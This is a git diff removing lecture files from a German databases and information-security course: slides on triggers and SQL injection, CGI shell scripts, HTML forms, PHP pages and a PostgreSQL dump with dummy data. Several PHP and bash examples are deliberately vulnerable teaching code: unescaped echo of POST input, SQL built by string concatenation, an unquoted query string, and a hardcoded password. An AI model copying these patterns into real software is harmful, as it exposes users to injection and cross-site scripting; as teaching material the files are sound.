@@ -1,22 +0,0 @@ -testdb=> call transfer (2, 1, 10); CALL -testdb=> select * from customer; - id | lastname | firstname | account_id ----+------------+-----------+------------ - 2 | Mustermann | Erika | 1 - 4 | Rich | Richie | 2 -(2 Zeilen) - -testdb=> select * from account; - id | number | balance -----+-----------------------------+--------- - 1 | DE12 3456 7890 ABCD EFGH IJ | 1000009 - 2 | DE98 7654 3210 ABCD EFGH IJ | 3999990 -(2 Zeilen) - -testdb=> select * from account_log; - account_id | change | datetime -------------+--------+---------------------------- - 1 | 10 | 2023-12-07 12:07:38.614305 - 2 | -10 | 2023-12-07 12:07:38.614305 -(2 Zeilen) - -testdb=> diff --git a/20231207/welcome-01.php b/20231207/welcome-01.php deleted file mode 100644 index de6e75cb85dc696080b2320ae3d767460d847303..0000000000000000000000000000000000000000 --- a/20231207/welcome-01.php +++ /dev/null @@ -1,5 +0,0 @@ -<html> - <body> - Hello, <?php echo $_POST["name"]; ?>! - </body> -</html> diff --git a/20231207/welcome-02.php b/20231207/welcome-02.php deleted file mode 100644 index ba73e932fd2d89a96870a736b9e453191d5e786a..0000000000000000000000000000000000000000 --- a/20231207/welcome-02.php +++ /dev/null @@ -1,6 +0,0 @@ -<html> - <body> - Hello, <?php echo $_POST["name"]; ?>!<br/> - The answer is <?php echo $_POST["answer"]; ?>. - </body> -</html> diff --git a/20231214/Zeichen_123.pdf b/20231214/Zeichen_123.pdf deleted file mode 120000 index fdbc897227df059cfda790a16555e6e417682116..0000000000000000000000000000000000000000 --- a/20231214/Zeichen_123.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/Zeichen_123.pdf \ No newline at end of file diff --git a/20231214/dbs-20231214.pdf b/20231214/dbs-20231214.pdf deleted file mode 100644 index 7a1b21a21f2b8ebb47b926d8e711373037804464..0000000000000000000000000000000000000000 Binary files a/20231214/dbs-20231214.pdf and /dev/null differ diff --git a/20231214/dbs-20231214.tex b/20231214/dbs-20231214.tex deleted file mode 100644 index 27d638b68501743d5ecedf1bda725370495131e7..0000000000000000000000000000000000000000 --- a/20231214/dbs-20231214.tex +++ /dev/null @@ -1,265 +0,0 @@ -% dbs-20231214.pdf - Lecture Slides on Databases and Information Security -% Copyright (C) 2023 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: GUI-Zugriff, SQL Injection - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} - -\newcommand{\vfilll}{\vspace{0pt plus 1filll}} - -\newcommand{\underconstruction}{% - \begin{picture}(0,0) - \put(11,1.2){\makebox(0,0)[b]{\includegraphics[width=1.5cm]{Zeichen_123.pdf}}} - \put(11,0.9){\makebox(0,0)[t]{\shortstack{Änderungen\\vorbehalten}}} - \end{picture}} - -\title{Datenbanken und Datensicherheit} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{14.\ Dezember 2023} - -\begin{document} - -\maketitleframe - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \hfill\makebox(0,0)[br]{\raisebox{2.25ex}{\url{https://gitlab.cvh-server.de/pgerwinski/dbs}}}% - \item[\textbf{2}] \textbf{Kurzeinführung Unix} - \item[\textbf{3}] \textbf{Kurzeinführung TCP/IP} - \item[\textbf{4}] \textbf{Relationale Datenbanken} - \begin{itemize} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \item[4.9] Indizierung - \color{medgreen} - \item[4.10] Funktionen und Trigger - \item[4.11] GUI-Zugriff - \color{orange} - \item[4.12] SQL Injection - \color{black} - \item[4.13] Datensicherheit bei Datenbanken - \item[4.14] Sonstige Datenbanken - \end{itemize} - \item[\textbf{5}] \textbf{Kryptographie} -% \begin{itemize} -% \color{red} -% \item[5.1] Einführung -% \vspace*{-\smallskipamount} -% \item[\textbf{\dots}] -% \end{itemize} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - - \vfilll - \underconstruction - -\end{frame} - -\setcounter{section}{3} -\section{Relationale Datenbanken} -\setcounter{subsection}{9} -\subsection{Funktionen und Trigger} - -\begin{frame} - - \showsection - \showsubsection - - Funktionen: - \begin{itemize} - \item - \lstinline[style=cmd]{PROCEDURE} entspricht einer \lstinline{void}-Funktion in C. - \item - \url{https://www.postgresql.org/docs/15/sql-createprocedure.html} - \end{itemize} - - \bigskip - - Trigger: - \begin{itemize} - \item - \url{https://www.sqltutorial.org/sql-triggers/} - \item - \url{https://www.postgresqltutorial.com/postgresql-triggers/creating-first-trigger-postgresql/} - \end{itemize} - -\end{frame} - -\subsection{GUI-Zugriff} - -\begin{frame} - - \showsection - \showsubsection - - \begin{itemize} - \item - Anwendung nutzt DBMS-Client-Bibliothek\\ - GUI-Programmierung: wie gewohnt - \item - Spezialfall: Web-Anwendung - \end{itemize} - - \bigskip - - Beispiel: Programmiersprache PHP - \begin{itemize} - \item - Integration in HTML-Quelltext: \lstinline{<?php ... ?>} - \item - Objekt zur Kommunikation mit Datenbanken: \lstinline{PDO} - \end{itemize} - - \bigskip - - Literatur: - \begin{itemize} - \item - \url{https://www.postgresqltutorial.com/postgresql-php/connect/} - \item - \url{https://www.phptutorial.net/php-pdo/pdo-connecting-to-postgresql/} - \end{itemize} - -\end{frame} - -\subsection{SQL Injection} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - Problem: - \begin{itemize} - \item - Ein böswilliger Benutzer gibt über eine Benutzerschnittstelle - (z.\,B.\ ein Web-Interface) Daten ein (z.\,B.\ einen "`Namen"'), - die Sonderzeichen enthalten, damit sie als SQL-Befehle ausgeführt werden. - \item - Literatur: \url{https://xkcd.com/327/} - \end{itemize} - - \medskip - - Lösung: Die Benutzerschnittstelle prüft die Daten auf Sonderzeichen\\ - und ersetzt diese durch geeignete Escape-Sequenzen - \begin{itemize} - \item - \lstinline[style=cmd]{'} durch \lstinline[style=cmd]{''} ersetzen - \item - Funktion \lstinline[style=cmd]{CHR()} - \item - Viele DBMS verstehen ein vorangestelltes \lstinline[style=cmd]{\}. - \end{itemize} - - \medskip - - Bessere Lösung: \newterm{Prepared Statements} - \begin{itemize} - \arrowitem - nächstes Jahr -% \item -% \url{https://www.postgresql.org/docs/current/sql-prepare.html} -% \item -% \url{https://www.w3schools.com/php/php_mysql_prepared_statements.asp} - \end{itemize} - -\end{frame} - -\iffalse - -\subsection{Datensicherheit bei Datenbanken} - -\begin{frame} - - \showsection - \showsubsection - - \begin{itemize} - \item - kein direkter Zugriff von außen auf die Datenbank - \item - feingranulare Benutzerrechte - \item - Software aktuell halten - \item - Prepared Statements - \item - Transportverschlüsselung - \end{itemize} - -\end{frame} - -\subsection{Sonstige Datenbanken} - -\begin{frame} - - \showsection - \showsubsection - - \begin{itemize} - \item - Eingebettete Datenbanken:\\ - Berkeley DB, SQLite\\ - Software-Bibliothek, keine Client-Server-Struktur - \item - Nicht-relationale Datenbanken:\\ - dokumentenorientierte Datenbanken, noSQL\\ - Performanz wichtiger als Konsistenz\\ - \textarrow\ Applikationen stärker in Konsistenzprüfung eingebunden - \end{itemize} - -\end{frame} - -\section{Kryptographie} -\subsection{Einführung} - -\begin{frame} - - \showsection - \showsubsection - - \begin{itemize} - \item - Verschlüsselung: symmetrisch, asymmetrisch, hybrid - \item - Hashes: Einwegfunktionen, Salt - \item - Signaturen, Zertifikate - \item - Schlüsselaustausch - \end{itemize} - -\end{frame} - -\fi - -\end{document} diff --git a/20231214/hello-03.sh b/20231214/hello-03.sh deleted file mode 100755 index 9f3f770bfcccad3d62d2e2d08b077469ef3722fa..0000000000000000000000000000000000000000 --- a/20231214/hello-03.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -echo "Hello, world!" diff --git a/20231214/hello-04.sh b/20231214/hello-04.sh deleted file mode 100755 index b485fe8120cb2e319cbc6762edf2a074126acc02..0000000000000000000000000000000000000000 --- a/20231214/hello-04.sh +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash - -echo Content-Type: text/plain -echo -echo "Hello, world!" diff --git a/20231214/hello-05.sh b/20231214/hello-05.sh deleted file mode 100755 index c5d804a00760d16402951fabb719a42efc549042..0000000000000000000000000000000000000000 --- a/20231214/hello-05.sh +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/bash - -echo Content-Type: text/plain -echo - -echo "QUERY_STRING = $QUERY_STRING" diff --git a/20231214/hello-06.sh b/20231214/hello-06.sh deleted file mode 100755 index 814f8e3e14ff40504d656823fefabb2143aaf8c2..0000000000000000000000000000000000000000 --- a/20231214/hello-06.sh +++ /dev/null @@ -1,8 +0,0 @@ -#!/bin/bash - -echo Content-Type: text/plain -echo - -name=$(echo $QUERY_STRING | cut -d '=' -f 2) - -echo "Hello, $name!" diff --git a/20231214/hello-07.sh b/20231214/hello-07.sh deleted file mode 100755 index fc3855d398cfb63f0621e986abf310189895346c..0000000000000000000000000000000000000000 --- a/20231214/hello-07.sh +++ /dev/null @@ -1,8 +0,0 @@ -#!/bin/bash - -echo Content-Type: text/plain -echo - -name=$(cut -d '=' -f 2) - -echo "Hello, $name!" diff --git a/20231214/hello-08.sh b/20231214/hello-08.sh deleted file mode 100755 index 29468b496d59413bb48313e04e7630f5ae037fcf..0000000000000000000000000000000000000000 --- a/20231214/hello-08.sh +++ /dev/null @@ -1,8 +0,0 @@ -#!/bin/bash - -echo Content-Type: text/plain -echo - -name=$(echo $QUERY_STRING | cut -d '=' -f 2) - -echo Hello, $name! diff --git a/20231214/index-03.html b/20231214/index-03.html deleted file mode 100644 index 648e721da156b374171fe4fb36a009e916a71b13..0000000000000000000000000000000000000000 --- a/20231214/index-03.html +++ /dev/null @@ -1,8 +0,0 @@ -<html> - <body> - <form action="http://localhost/cgi-bin/hello-03.sh" method="post"> - Your name: <input type="text" name="name"><br> - <input type="submit"> - </form> - </body> -</html> diff --git a/20231214/index-04.html b/20231214/index-04.html deleted file mode 100644 index f943391c9c30532b742f58c11773e29a03f6ab94..0000000000000000000000000000000000000000 --- a/20231214/index-04.html +++ /dev/null @@ -1,8 +0,0 @@ -<html> - <body> - <form action="http://localhost/cgi-bin/hello-04.sh" method="get"> - Your name: <input type="text" name="name"><br> - <input type="submit"> - </form> - </body> -</html> diff --git a/20231214/index-05.html b/20231214/index-05.html deleted file mode 100644 index 9f8c06a592c480a1a1167cb058e785ebf2f9f407..0000000000000000000000000000000000000000 --- a/20231214/index-05.html +++ /dev/null @@ -1,8 +0,0 @@ -<html> - <body> - <form action="http://localhost/cgi-bin/hello-05.sh" method="get"> - Your name: <input type="text" name="name"><br> - <input type="submit"> - </form> - </body> -</html> diff --git a/20231214/index-06.html b/20231214/index-06.html deleted file mode 100644 index ec45793c3834c19d2b1fb1fc251c9116360c3036..0000000000000000000000000000000000000000 --- a/20231214/index-06.html +++ /dev/null @@ -1,8 +0,0 @@ -<html> - <body> - <form action="http://localhost/cgi-bin/hello-06.sh" method="get"> - Your name: <input type="text" name="name"><br> - <input type="submit"> - </form> - </body> -</html> diff --git a/20231214/index-07.html b/20231214/index-07.html deleted file mode 100644 index 5edf9446dcb069e965c89647f8492de9f09ec693..0000000000000000000000000000000000000000 --- a/20231214/index-07.html +++ /dev/null @@ -1,8 +0,0 @@ -<html> - <body> - <form action="http://localhost/cgi-bin/hello-07.sh" method="post"> - Your name: <input type="text" name="name"><br> - <input type="submit"> - </form> - </body> -</html> diff --git a/20231214/index-08.html b/20231214/index-08.html deleted file mode 100644 index 48bddf3c5b6efb08e3989e2039a3399806b0746a..0000000000000000000000000000000000000000 --- a/20231214/index-08.html +++ /dev/null @@ -1,8 +0,0 @@ -<html> - <body> - <form action="http://localhost/cgi-bin/hello-08.sh" method="get"> - Your name: <input type="text" name="name"><br> - <input type="submit"> - </form> - </body> -</html> diff --git a/20231214/logo-hochschule-bochum-cvh-text-v2.pdf b/20231214/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20231214/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20231214/logo-hochschule-bochum.pdf b/20231214/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20231214/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20231214/pgslides.sty b/20231214/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20231214/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20231214/school-03.html b/20231214/school-03.html deleted file mode 100644 index ea7ee825657177439edea05132dd59d73fd45357..0000000000000000000000000000000000000000 --- a/20231214/school-03.html +++ /dev/null @@ -1,10 +0,0 @@ -<html> - <body> - <h3>Register new student</h3> - <form action="school-03.php" method="post"> - First name: <input type="text" name="first_name"><br> - Family name: <input type="text" name="family_name"><br> - <input type="submit"> - </form> - </body> -</html> diff --git a/20231214/school-03.php b/20231214/school-03.php deleted file mode 100644 index 1877203af3341749d3c974ebdba9a79e6e84fdf0..0000000000000000000000000000000000000000 --- a/20231214/school-03.php +++ /dev/null @@ -1,52 +0,0 @@ -<html> - <body> - <?php - try - { - $db = new PDO ('pgsql: host = localhost; dbname = testdb; user = dbs; password = 1234'); - } - catch (\PDOException $e) - { - echo '<p>'; - echo $e->getMessage(); - echo '</p>'; - echo '<p>'; - exit ('cannot connect to database'); - echo '</p>'; - } - echo '<p>'; - echo "INSERT INTO students (first_name, family_name) VALUES ( '" - .$_POST["first_name"]."', '".$_POST["family_name"] - ."' );"; - echo '</p>'; - $db->exec ("INSERT INTO students (first_name, family_name) VALUES ( '" - .$_POST["first_name"]."', '".$_POST["family_name"] - ."' );"); - $stmt = $db->query ('SELECT * FROM students;'); - echo '<table><tr>'; - while ($row = $stmt->fetch()) - { - echo '<tr><td>'; - echo $row['id']; - echo '</td><td>'; - echo $row['first_name']; - echo '</td><td>'; - echo $row['family_name']; - echo '</td></tr>'; - } - echo '</tr></table>'; - ?> - </body> -</html> - -<!-- Aus den Log-Dateien des Web-Servers: - - [Thu Dec 07 12:50:06.952167 2023] [php:error] [pid 163970] [client ::1:52394] - PHP Fatal error: Uncaught PDOException: SQLSTATE[42601]: Syntax error: 7 - FEHLER: Syntaxfehler bei \xc2\xbb)\xc2\xab\nLINE 1: ... INTO students - (first_name, family_name) VALUES ( Peter, );\n - ^ in /var/www/dbs/school-01.php:17\nStack trace:\n#0 - /var/www/dbs/school-01.php(17): PDO->exec()\n#1 {main}\n thrown in - /var/www/dbs/school-01.php on line 17 - ---> diff --git a/20231214/school-04.html b/20231214/school-04.html deleted file mode 100644 index 3d20e2cb83b0af242e7db7b548141a0f068fa765..0000000000000000000000000000000000000000 --- a/20231214/school-04.html +++ /dev/null @@ -1,10 +0,0 @@ -<html> - <body> - <h3>Register new student</h3> - <form action="school-04.php" method="post"> - First name: <input type="text" name="first_name"><br> - Family name: <input type="text" name="family_name"><br> - <input type="submit"> - </form> - </body> -</html> diff --git a/20231214/school-04.php b/20231214/school-04.php deleted file mode 100644 index 285f40e38a65a090cf2e58c35787d32f40b144a5..0000000000000000000000000000000000000000 --- a/20231214/school-04.php +++ /dev/null @@ -1,52 +0,0 @@ -<html> - <body> - <?php - try - { - $db = new PDO ('pgsql: host = localhost; dbname = testdb; user = dbs; password = 1234'); - } - catch (\PDOException $e) - { - echo '<p>'; - echo $e->getMessage(); - echo '</p>'; - echo '<p>'; - exit ('cannot connect to database'); - echo '</p>'; - } - echo '<p>'; - $first_name = str_replace ("'", "''", $_POST["first_name"]); - $family_name = str_replace ("'", "''", $_POST["family_name"]); - echo "INSERT INTO students (first_name, family_name) VALUES ( '" - .$first_name."', '".$family_name."' );"; - echo '</p>'; - $db->exec ("INSERT INTO students (first_name, family_name) VALUES ( '" - .$first_name."', '".$family_name."' );"); - $stmt = $db->query ('SELECT * FROM students;'); - echo '<table><tr>'; - while ($row = $stmt->fetch()) - { - echo '<tr><td>'; - echo $row['id']; - echo '</td><td>'; - echo $row['first_name']; - echo '</td><td>'; - echo $row['family_name']; - echo '</td></tr>'; - } - echo '</tr></table>'; - ?> - </body> -</html> - -<!-- Aus den Log-Dateien des Web-Servers: - - [Thu Dec 07 12:50:06.952167 2023] [php:error] [pid 163970] [client ::1:52394] - PHP Fatal error: Uncaught PDOException: SQLSTATE[42601]: Syntax error: 7 - FEHLER: Syntaxfehler bei \xc2\xbb)\xc2\xab\nLINE 1: ... INTO students - (first_name, family_name) VALUES ( Peter, );\n - ^ in /var/www/dbs/school-01.php:17\nStack trace:\n#0 - /var/www/dbs/school-01.php(17): PDO->exec()\n#1 {main}\n thrown in - /var/www/dbs/school-01.php on line 17 - ---> diff --git a/20231214/testdb-20231214-01.sql b/20231214/testdb-20231214-01.sql deleted file mode 100644 index 41d713cb253daa97d87144cce0b065e006b7c205..0000000000000000000000000000000000000000 --- a/20231214/testdb-20231214-01.sql +++ /dev/null @@ -1,620 +0,0 @@ --- --- PostgreSQL database dump --- - --- Dumped from database version 15.5 (Debian 15.5-0+deb12u1) --- Dumped by pg_dump version 15.5 (Debian 15.5-0+deb12u1) - -SET statement_timeout = 0; -SET lock_timeout = 0; -SET idle_in_transaction_session_timeout = 0; -SET client_encoding = 'UTF8'; -SET standard_conforming_strings = on; -SELECT pg_catalog.set_config('search_path', '', false); -SET check_function_bodies = false; -SET xmloption = content; -SET client_min_messages = warning; -SET row_security = off; - -ALTER TABLE ONLY public.lied DROP CONSTRAINT lied_fkey_cd_id; -ALTER TABLE ONLY public.customer DROP CONSTRAINT customer_fkey_account_id; -ALTER TABLE ONLY public.cd DROP CONSTRAINT cd_fkey_interpret_id; -DROP TRIGGER after_update_account ON public.account; -DROP INDEX public.index_account_number; -ALTER TABLE ONLY public.tier DROP CONSTRAINT tier_pkey; -ALTER TABLE ONLY public.interpret DROP CONSTRAINT interpret_pkey; -ALTER TABLE ONLY public.customer DROP CONSTRAINT customer_pkey; -ALTER TABLE ONLY public.cd DROP CONSTRAINT cd_pkey; -ALTER TABLE ONLY public.account DROP CONSTRAINT account_pkey; -ALTER TABLE public.tier ALTER COLUMN id DROP DEFAULT; -ALTER TABLE public.students ALTER COLUMN id DROP DEFAULT; -ALTER TABLE public.interpret ALTER COLUMN id DROP DEFAULT; -ALTER TABLE public.customer ALTER COLUMN id DROP DEFAULT; -ALTER TABLE public.cd ALTER COLUMN cd_id DROP DEFAULT; -ALTER TABLE public.account ALTER COLUMN id DROP DEFAULT; -DROP SEQUENCE public.tier_id_seq; -DROP TABLE public.tier; -DROP TABLE public.test; -DROP SEQUENCE public.students_id_seq; -DROP TABLE public.students; -DROP VIEW public.lied_auf_cd; -DROP TABLE public.lied; -DROP SEQUENCE public.interpret_id_seq; -DROP TABLE public.interpret; -DROP SEQUENCE public.customer_id_seq; -DROP TABLE public.customer; -DROP SEQUENCE public.cd_cd_id_seq; -DROP TABLE public.cd; -DROP TABLE public.account_log; -DROP SEQUENCE public.account_id_seq; -DROP TABLE public.account; -DROP PROCEDURE public.transfer(IN sender integer, IN receiver integer, IN amount integer); -DROP FUNCTION public.log_change(); --- --- Name: log_change(); Type: FUNCTION; Schema: public; Owner: dbs --- - -CREATE FUNCTION public.log_change() RETURNS trigger - LANGUAGE plpgsql - AS $$ -begin if new.balance <> old.balance then - insert into account_log (account_id, change, datetime) values (old.id, new.balance - old.balance, now ()); -end if; -return new; -end; -$$; - - -ALTER FUNCTION public.log_change() OWNER TO dbs; - --- --- Name: transfer(integer, integer, integer); Type: PROCEDURE; Schema: public; Owner: dbs --- - -CREATE PROCEDURE public.transfer(IN sender integer, IN receiver integer, IN amount integer) - LANGUAGE sql - AS $$UPDATE account SET balance = balance + amount WHERE id = receiver; UPDATE account SET balance = balance - amount WHERE id = sender;$$; - - -ALTER PROCEDURE public.transfer(IN sender integer, IN receiver integer, IN amount integer) OWNER TO dbs; - -SET default_tablespace = ''; - -SET default_table_access_method = heap; - --- --- Name: account; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.account ( - id integer NOT NULL, - number text, - balance integer -); - - -ALTER TABLE public.account OWNER TO dbs; - --- --- Name: account_id_seq; Type: SEQUENCE; Schema: public; Owner: dbs --- - -CREATE SEQUENCE public.account_id_seq - AS integer - START WITH 1 - INCREMENT BY 1 - NO MINVALUE - NO MAXVALUE - CACHE 1; - - -ALTER TABLE public.account_id_seq OWNER TO dbs; - --- --- Name: account_id_seq; Type: SEQUENCE OWNED BY; Schema: public; Owner: dbs --- - -ALTER SEQUENCE public.account_id_seq OWNED BY public.account.id; - - --- --- Name: account_log; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.account_log ( - account_id integer, - change integer, - datetime timestamp without time zone -); - - -ALTER TABLE public.account_log OWNER TO dbs; - --- --- Name: cd; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.cd ( - cd_id integer NOT NULL, - albumtitel text, - interpret_id integer, - erscheinungsjahr integer -); - - -ALTER TABLE public.cd OWNER TO dbs; - --- --- Name: cd_cd_id_seq; Type: SEQUENCE; Schema: public; Owner: dbs --- - -CREATE SEQUENCE public.cd_cd_id_seq - AS integer - START WITH 1 - INCREMENT BY 1 - NO MINVALUE - NO MAXVALUE - CACHE 1; - - -ALTER TABLE public.cd_cd_id_seq OWNER TO dbs; - --- --- Name: cd_cd_id_seq; Type: SEQUENCE OWNED BY; Schema: public; Owner: dbs --- - -ALTER SEQUENCE public.cd_cd_id_seq OWNED BY public.cd.cd_id; - - --- --- Name: customer; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.customer ( - id integer NOT NULL, - lastname text, - firstname text, - account_id integer -); - - -ALTER TABLE public.customer OWNER TO dbs; - --- --- Name: customer_id_seq; Type: SEQUENCE; Schema: public; Owner: dbs --- - -CREATE SEQUENCE public.customer_id_seq - AS integer - START WITH 1 - INCREMENT BY 1 - NO MINVALUE - NO MAXVALUE - CACHE 1; - - -ALTER TABLE public.customer_id_seq OWNER TO dbs; - --- --- Name: customer_id_seq; Type: SEQUENCE OWNED BY; Schema: public; Owner: dbs --- - -ALTER SEQUENCE public.customer_id_seq OWNED BY public.customer.id; - - --- --- Name: interpret; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.interpret ( - id integer NOT NULL, - name text, - gruendungsjahr integer -); - - -ALTER TABLE public.interpret OWNER TO dbs; - --- --- Name: interpret_id_seq; Type: SEQUENCE; Schema: public; Owner: dbs --- - -CREATE SEQUENCE public.interpret_id_seq - AS integer - START WITH 1 - INCREMENT BY 1 - NO MINVALUE - NO MAXVALUE - CACHE 1; - - -ALTER TABLE public.interpret_id_seq OWNER TO dbs; - --- --- Name: interpret_id_seq; Type: SEQUENCE OWNED BY; Schema: public; Owner: dbs --- - -ALTER SEQUENCE public.interpret_id_seq OWNED BY public.interpret.id; - - --- --- Name: lied; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.lied ( - cd_id integer, - track integer, - titel text -); - - -ALTER TABLE public.lied OWNER TO dbs; - --- --- Name: lied_auf_cd; Type: VIEW; Schema: public; Owner: dbs --- - -CREATE VIEW public.lied_auf_cd AS - SELECT cd.cd_id, - cd.albumtitel, - interpret.name, - interpret.gruendungsjahr, - cd.erscheinungsjahr, - lied.track, - lied.titel - FROM ((public.cd - JOIN public.lied ON ((cd.cd_id = lied.cd_id))) - JOIN public.interpret ON ((cd.interpret_id = interpret.id))); - - -ALTER TABLE public.lied_auf_cd OWNER TO dbs; - --- --- Name: students; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.students ( - id integer NOT NULL, - first_name text, - family_name text -); - - -ALTER TABLE public.students OWNER TO dbs; - --- --- Name: students_id_seq; Type: SEQUENCE; Schema: public; Owner: dbs --- - -CREATE SEQUENCE public.students_id_seq - AS integer - START WITH 1 - INCREMENT BY 1 - NO MINVALUE - NO MAXVALUE - CACHE 1; - - -ALTER TABLE public.students_id_seq OWNER TO dbs; - --- --- Name: students_id_seq; Type: SEQUENCE OWNED BY; Schema: public; Owner: dbs --- - -ALTER SEQUENCE public.students_id_seq OWNED BY public.students.id; - - --- --- Name: test; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.test ( - id integer, - s text -); - - -ALTER TABLE public.test OWNER TO dbs; - --- --- Name: tier; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.tier ( - id integer NOT NULL, - name text, - tierart text -); - - -ALTER TABLE public.tier OWNER TO dbs; - --- --- Name: tier_id_seq; Type: SEQUENCE; Schema: public; Owner: dbs --- - -CREATE SEQUENCE public.tier_id_seq - AS integer - START WITH 1 - INCREMENT BY 1 - NO MINVALUE - NO MAXVALUE - CACHE 1; - - -ALTER TABLE public.tier_id_seq OWNER TO dbs; - --- --- Name: tier_id_seq; Type: SEQUENCE OWNED BY; Schema: public; Owner: dbs --- - -ALTER SEQUENCE public.tier_id_seq OWNED BY public.tier.id; - - --- --- Name: account id; Type: DEFAULT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.account ALTER COLUMN id SET DEFAULT nextval('public.account_id_seq'::regclass); - - --- --- Name: cd cd_id; Type: DEFAULT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.cd ALTER COLUMN cd_id SET DEFAULT nextval('public.cd_cd_id_seq'::regclass); - - --- --- Name: customer id; Type: DEFAULT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.customer ALTER COLUMN id SET DEFAULT nextval('public.customer_id_seq'::regclass); - - --- --- Name: interpret id; Type: DEFAULT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.interpret ALTER COLUMN id SET DEFAULT nextval('public.interpret_id_seq'::regclass); - - --- --- Name: students id; Type: DEFAULT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.students ALTER COLUMN id SET DEFAULT nextval('public.students_id_seq'::regclass); - - --- --- Name: tier id; Type: DEFAULT; Schema: public; Owner: dbs --- - -ALTER TABLE ONLY public.tier ALTER COLUMN id SET DEFAULT nextval('public.tier_id_seq'::regclass); - - --- --- Data for Name: account; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.account (id, number, balance) FROM stdin; -1 DE12 3456 7890 ABCD EFGH IJ 1000009 -2 DE98 7654 3210 ABCD EFGH IJ 3999990 -\. - - --- --- Data for Name: account_log; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.account_log (account_id, change, datetime) FROM stdin; -1 10 2023-12-07 12:07:38.614305 -2 -10 2023-12-07 12:07:38.614305 -\. - - --- --- Data for Name: cd; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.cd (cd_id, albumtitel, interpret_id, erscheinungsjahr) FROM stdin; -4711 Not That Kind 1 2000 -4712 Wish You Were Here 2 1975 -4713 Freak of Nature 1 2001 -4714 Songs for the Deaf 3 2002 -\. - - --- --- Data for Name: customer; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.customer (id, lastname, firstname, account_id) FROM stdin; -2 Mustermann Erika 1 -4 Rich Richie 2 -\. - - --- --- Data for Name: interpret; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.interpret (id, name, gruendungsjahr) FROM stdin; -1 Anastacia 1999 -2 Pink Floyd 1965 -3 Queens of the Stone Age 1996 -\. - - --- --- Data for Name: lied; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.lied (cd_id, track, titel) FROM stdin; -4711 1 Not That Kind -4711 2 I'm Otta Love -4711 3 Cowboys & Kisses -4712 1 Shine On You Crazy Diamond -4713 1 Paid my Dues -\. - - --- --- Data for Name: students; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.students (id, first_name, family_name) FROM stdin; -1 Peter Gerwinski -2 Benedikt Wildenhain -\. - - --- --- Data for Name: test; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.test (id, s) FROM stdin; -7 Zwerge -\. - - --- --- Data for Name: tier; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.tier (id, name, tierart) FROM stdin; -1 Esmeralda Spinne -2 Timmy Hund -3 Dio Katze -4 Tusnelda Spinne -5 Ragnar Katze -6 Putzi Ratte -7 Felix Troll -8 Rex Ameise -\. - - --- --- Name: account_id_seq; Type: SEQUENCE SET; Schema: public; Owner: dbs --- - -SELECT pg_catalog.setval('public.account_id_seq', 2, true); - - --- --- Name: cd_cd_id_seq; Type: SEQUENCE SET; Schema: public; Owner: dbs --- - -SELECT pg_catalog.setval('public.cd_cd_id_seq', 1, false); - - --- --- Name: customer_id_seq; Type: SEQUENCE SET; Schema: public; Owner: dbs --- - -SELECT pg_catalog.setval('public.customer_id_seq', 4, true); - - --- --- Name: interpret_id_seq; Type: SEQUENCE SET; Schema: public; Owner: dbs --- - -SELECT pg_catalog.setval('public.interpret_id_seq', 1, false); - - 